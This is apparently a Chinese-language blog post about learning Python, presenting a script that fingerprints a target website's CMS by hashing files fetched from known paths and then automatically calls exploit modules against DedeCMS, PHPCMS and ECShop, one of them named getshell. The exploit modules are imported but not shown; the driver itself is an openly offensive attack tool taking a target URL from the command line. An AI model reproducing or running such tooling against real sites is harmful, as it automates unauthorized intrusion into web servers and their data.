python学习之exp整合
将上述的三个exp利用脚本整合为一个,简单的cms漏洞识别利用功能
使用方法
python demo.py "url"
# -*- coding:utf-8 -*-
import urllib
import urllib.request
import requests
import os
import hashlib
#import test.py
import dede
import sys
import time
import phpcms
import ecshop
num=1
count = len(open("cms.txt", 'r').readlines())
key=0
url=sys.argv[1]
tiao=""
zong="|"*100
filename="dede.gif"
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 \
(KHTML, like Gecko) Chrome/51.0. 2704.103 Safari/537.36"}
print("○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ■ ○ ○ ○ ○ ○ ")
print("○ ■ ○ ○ ○ ○ ○ ○ ○ ■ ○ ○ ○ ■ ○ ○ ○ ■ ○ ○ ○ ○ ○ ○ ○ ○ ■ ○ ■ ○ ○ ○ ")
print("○ ○ ■ ○ ○ ■ ■ ■ ■ ■ ■ ○ ○ ■ ○ ○ ○ ○ ■ ○ ○ ○ ○ ○ ○ ○ ■ ○ ○ ■ ○ ○ ")
print("○ ○ ■ ○ ○ ■ ○ ○ ○ ■ ○ ■ ○ ■ ○ ○ ○ ○ ■ ○ ○ ○ ○ ○ ○ ○ ■ ○ ○ ○ ○ ○ ")
print("■ ○ ○ ○ ○ ■ ○ ■ ○ ■ ○ ■ ○ ■ ○ ○ ○ ○ ○ ○ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ○ ")
print("○ ■ ■ ○ ○ ■ ○ ■ ○ ■ ○ ■ ○ ■ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ■ ○ ○ ○ ○ ○ ")
print("○ ○ ■ ○ ○ ■ ○ ■ ○ ■ ○ ■ ○ ■ ○ ○ ■ ■ ■ ○ ○ ○ ○ ○ ○ ○ ■ ○ ○ ○ ○ ○ ")
print("○ ○ ○ ○ ■ ■ ○ ■ ○ ■ ○ ■ ○ ■ ○ ○ ○ ○ ■ ○ ○ ■ ■ ■ ■ ■ ■ ○ ○ ○ ○ ○ ")
print("○ ○ ○ ■ ○ ■ ○ ■ ○ ■ ○ ■ ○ ■ ○ ○ ○ ○ ■ ○ ○ ○ ○ ■ ○ ○ ■ ○ ○ ○ ○ ○ ")
print("○ ○ ■ ○ ○ ■ ○ ■ ○ ■ ○ ■ ○ ■ ○ ○ ○ ○ ■ ○ ○ ○ ○ ■ ○ ○ ○ ■ ○ ○ ○ ○ ")
print("■ ■ ■ ○ ○ ■ ○ ■ ○ ■ ○ ■ ○ ■ ○ ○ ○ ○ ■ ○ ○ ○ ○ ■ ○ ○ ○ ■ ○ ○ ○ ○ ")
print("○ ○ ■ ○ ○ ○ ○ ■ ○ ○ ○ ○ ○ ■ ○ ○ ○ ○ ■ ○ ○ ○ ○ ■ ○ ○ ○ ■ ○ ○ ○ ○ ")
print("○ ○ ■ ○ ○ ○ ■ ○ ■ ○ ○ ○ ○ ■ ○ ○ ○ ○ ■ ○ ■ ○ ○ ■ ■ ■ ○ ■ ○ ○ ■ ○ ")
print("○ ○ ■ ○ ○ ■ ○ ○ ○ ■ ○ ○ ○ ■ ○ ○ ○ ○ ■ ■ ○ ■ ■ ■ ○ ○ ○ ■ ○ ○ ■ ○ ")
print("○ ○ ■ ○ ■ ○ ○ ○ ○ ■ ○ ■ ○ ■ ○ ○ ○ ○ ■ ○ ○ ○ ■ ○ ○ ○ ○ ○ ■ ○ ■ ○ ")
print("○ ○ ■ ○ ○ ○ ○ ○ ○ ○ ○ ○ ■ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ■ ○ ○ ")
print("\n")
time.sleep(3)
with open("cms.txt","r+") as file:
line = file.readline()
while line:
#print (line)
url = sys.argv[1]
url_demo=url
url=url+line.rstrip('\n')
#print(url)
try:
res = requests.get(url, headers)
except:
print("error,请检测网络或者url地址:"+url_demo)
key=1
break
# return False
else:
with open(filename, 'wb+') as f:
f.write(res.content)
time.sleep(5)
fd = open(filename, "rb")
fcont = fd.read()
fmd5 = hashlib.md5(fcont)
md5 = fmd5.hexdigest()
if(tiao==""):
print("开始进行cms识别")
time.sleep(5)
bi=int(num/count*100)
tiao = "|" * bi
print("已完成:"+str(bi)+"%")
print(tiao)
print(zong)
if (md5 == "d89937f25006dd437270fc70235c921e"):
if(tiao!=zong):
print("已完成:100%")
print(zong)
print(zong)
print("识别成功此为织梦cms")
time.sleep(3)
print("开始识别漏洞文件是否存在")
time.sleep(5)
dede.dada(url_demo)
key=1
break
if (md5 == "d10e37711ed5eb215b9e04bfb8c0be17"):
if (tiao != zong):
print("已完成:100%")
print(zong)
print(zong)
print("识别成功此为phpcms")
time.sleep(3)
print("开始识别漏洞文件是否存在")
time.sleep(5)
phpcms.getshell(url_demo)
key = 1
break
if (md5 == "e1e94418974ab1d57062bff194c7e334"):
if (tiao != zong):
print("已完成:100%")
print(zong)
print(zong)
print("识别成功此为ecshop")
time.sleep(3)
print("开始识别漏洞文件是否存在")
time.sleep(5)
ecshop.ecshop(url_demo)
key = 1
break
#print(url)
num=num+1
line = file.readline()
if(key!=1):
print("识别完成,该cms不可识别")